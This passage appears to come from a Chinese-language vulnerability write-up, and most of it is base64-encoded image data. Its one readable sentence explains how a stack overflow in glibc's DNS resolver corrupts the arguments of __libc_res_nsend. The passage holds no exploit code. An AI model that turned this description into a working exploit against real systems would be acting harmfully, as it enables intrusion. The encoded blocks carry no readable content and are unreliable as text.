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" alt="" />

直到MAXPACKET,这导致了stack smash,由于父函数传入了指针,stack smash导致了父函数,即res_query.c中__libc_res_nsend的参数被污染

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